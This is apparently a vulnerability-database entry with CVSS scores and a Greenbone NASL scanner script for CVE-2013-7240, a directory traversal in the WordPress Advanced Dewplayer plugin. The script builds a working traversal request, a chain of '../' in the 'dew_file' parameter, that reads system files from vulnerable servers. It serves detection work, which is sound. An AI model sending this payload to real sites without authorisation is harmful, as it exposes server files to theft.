5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
6.5 Medium
AI Score
Confidence
Low
0.265 Low
EPSS
Percentile
96.8%
WordPress Advanced Dewplayer Plugin is prone to a directory traversal vulnerability.
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:wordpress:wordpress";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.804058");
script_version("2023-07-27T05:05:09+0000");
script_cve_id("CVE-2013-7240");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_tag(name:"last_modification", value:"2023-07-27 05:05:09 +0000 (Thu, 27 Jul 2023)");
script_tag(name:"creation_date", value:"2014-01-07 16:29:23 +0530 (Tue, 07 Jan 2014)");
script_name("WordPress Advanced Dewplayer 'dew_file' Directory Traversal Vulnerability");
script_tag(name:"summary", value:"WordPress Advanced Dewplayer Plugin is prone to a directory traversal vulnerability.");
script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it is able to read
local file or not.");
script_tag(name:"solution", value:"Update to WordPress Advanced Dewplayer 1.3 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"insight", value:"Flaw is due to the 'download-file.php' script not properly sanitizing user
input, specifically path traversal style attacks (e.g. '../') supplied via
the 'dew_file' parameter.");
script_tag(name:"affected", value:"WordPress Advanced Dewplayer 1.2, Other versions may also be affected.");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to read arbitrary files
on the target system.");
script_xref(name:"URL", value:"http://secunia.com/advisories/55941");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/64587");
script_xref(name:"URL", value:"http://seclists.org/oss-sec/2013/q4/566");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("Copyright (C) 2014 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_wordpress_http_detect.nasl", "os_detection.nasl");
script_mandatory_keys("wordpress/http/detected");
script_require_ports("Services/www", 80);
script_xref(name:"URL", value:"http://wordpress.org/plugins/advanced-dewplayer");
exit(0);
}
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
files = traversal_files();
foreach file (keys(files)) {
url = dir + "/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=" + crap(data:"../",length:3*15) + files[file];
if(http_vuln_check(port:port, url:url, pattern:file)) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
exit(99);